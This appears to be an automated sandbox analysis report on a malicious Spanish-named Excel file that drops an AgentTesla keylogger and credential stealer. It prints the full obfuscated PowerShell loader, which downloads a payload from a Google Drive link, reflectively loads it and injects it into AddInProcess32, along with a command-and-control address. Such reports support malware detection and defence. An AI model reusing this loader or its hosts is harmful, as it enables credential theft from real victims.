Source: wscript.exe, 00000005.00000003.471806519.0000000002B12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.472214860.0000000002B13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.co
Source: powershell.exe, 00000006.00000002.571025263.00000000021D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.520246237.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.519947637.0000000000330000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.519947637.0000000000383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.
Source: powershell.exe, 00000008.00000002.520246237.000000000242B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000008.00000002.520246237.000000000242B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.524750374.0000000004FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
Source: powershell.exe, 00000008.00000002.520246237.000000000256C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000008.00000002.520246237.000000000256C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 8.2.powershell.exe.723ab28.0.raw.unpack, cPKWk.cs

.Net Code: VG0StEU

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE	Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3884, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00312C88	8_2_00312C88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00311F1D	8_2_00311F1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D38E8	9_2_001D38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D4908	9_2_001D4908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001DEBF8	9_2_001DEBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001DB430	9_2_001DB430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D3C30	9_2_001D3C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_005E10C8	9_2_005E10C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_005E40B8	9_2_005E40B8

Source: transferencia interbancaria_66579.xlam.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2318
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2318			Jump to behavior

Source: sheet1.xml, type: SAMPLE	Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 3884, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 8.2.powershell.exe.723ab28.0.raw.unpack, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@10/10@3/4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xlsx

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9108.tmp

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................T.r.u.e.(.P.....4.......<.......\|........W.........................s............................................			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ....................................u.e.(.P.....4.......<.......\|.......!W.........................s............................................			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: transferencia interbancaria_66579.xlam.xlsx

ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"	Jump to behavior
